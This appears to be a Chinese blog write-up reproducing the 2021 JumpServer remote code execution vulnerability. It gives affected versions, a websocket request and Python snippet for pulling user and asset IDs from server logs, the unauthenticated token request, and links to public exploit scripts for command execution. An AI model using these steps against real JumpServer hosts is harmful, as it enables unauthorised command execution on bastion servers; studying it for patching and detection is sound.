JumpServer RCE漏洞复现

本文主要复现2021年1月出现的JumpSever的RCE漏洞

1.漏洞范围

JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9

2.漏洞分析

2.1原理简介:

由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求从日志文件获取敏感信息,通过执行相关API操作执行任意命令。

2.2 影响接口

根据官方通告,以下两个接口受得影响:

  • /api/v1/authentication/connection-token/
  • /api/v1/users/connection-token/

ps:具体漏洞调用链可以参考这位大佬的分析(https://zhuanlan.zhihu.com/p/375135821),本文主要讲具体如何利用的内容分析。

2.3 利用流程

整个漏洞的利用过程如下:

  1. 读取log日志获取参数(user、asset、system_user)
  2. 使用apps/authentication/api/auth.py 获取token
  3. 通过上文提到的2个接口执行命令

3.漏洞复现

3.1 读取log日志来获取参数

这一步是需要使用websocket来发送参数到/ws/ops/tasks/log/ url下,然后发送{“task”:"/opt/jumpserver/logs/gunicorn"}获得
注:这里的/opt/jumpserver/是常用的jumpserver安装路径,实际操作时需要根据情况进行修改。所以如果目标在影响范围内却无法正常读取日志,可能是发送参数的路径错误了,并非漏洞不存在

这里有2种方法可以读取日志

3.1.1 通过浏览器插件获取参数

火狐浏览器下可以安装 Simple WebSocket Client 插件来发送websocket连接。

  • URL构造:ws://url/ws/ops/tasks/log/
  • Request构造:{“task”:"/opt/jumpserver/logs/gunicorn"}
  • Message Log即为返回的日志内容

JumpServer RCE漏洞复现_第1张图片日志中的

/api/v1/perms/asset-permissions/user/validate/\?action_name=connect&asset_id=()&cache_policy=1&system_user_id=()&user_id= ()

参数即为目标

3.1.2 通过python获取参数

github上有现成的利用工具:https://github.com/Veraxy00/Jumpserver-EXP
这个脚本可以直接获取到执行命令的权限,但在实际测试中发现该脚本存在问题,但我们仍然可以通过修改代码的方式来获取日志

 print("===========Start read logs===========")
 log=''
 async with websockets.connect(tar) as client:
     await client.send(json.dumps({"task": "/opt/jumpserver/logs/gunicorn"}))
     while True:
         try:
             ret = json.loads(await client.recv())
             log += ret["message"]
             print("Reading...")
             re_result = set(re.compile('/api/v1/perms/asset-permissions/user/validate/\?action_name=connect&asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ').findall(log))

此处代码中的re_result即为读取的结果,可以通过print的方式输出读取到的参数内容,如果日志过长可能会增加读取的时间。

3.2 获取未授权token

这个步骤主要是通过jumpserver的koko组件来实现。
构造
这一步是需要POST到 /api/v1/authentication/connection-token/?user-only=None
POST数据为:
{“user”:"",
“asset”:"",
“system-user”""
}
这里需要填入第一步获取的参数,即可获取有效token(该token有效期20s,因此必须在20s内建立连接)

3.3执行命令

这里推荐工具https://github.com/Skactor/jumpserver_rce
其中rce.py即是我们需要的脚本,将第一步获取的参数带入脚本。执行即可,具体操作可以查看项目简介。

注:如果想要通过手动构造ws请求的方式来执行命令,可以参考https://blog.csdn.net/qq_32261191/article/details/113078759 来复现。

到这里复现就结束了。

4.写在最后

实际测试中很多漏洞并非是真的不存在,而是不同的系统需要针对一些参数进行调整,面对具体情况需要具体分析,不要轻易放弃漏洞的挖掘机会。

JumpServer RCE漏洞复现_第2张图片

你可能感兴趣的:(漏洞复现,安全,web安全,jumpserver)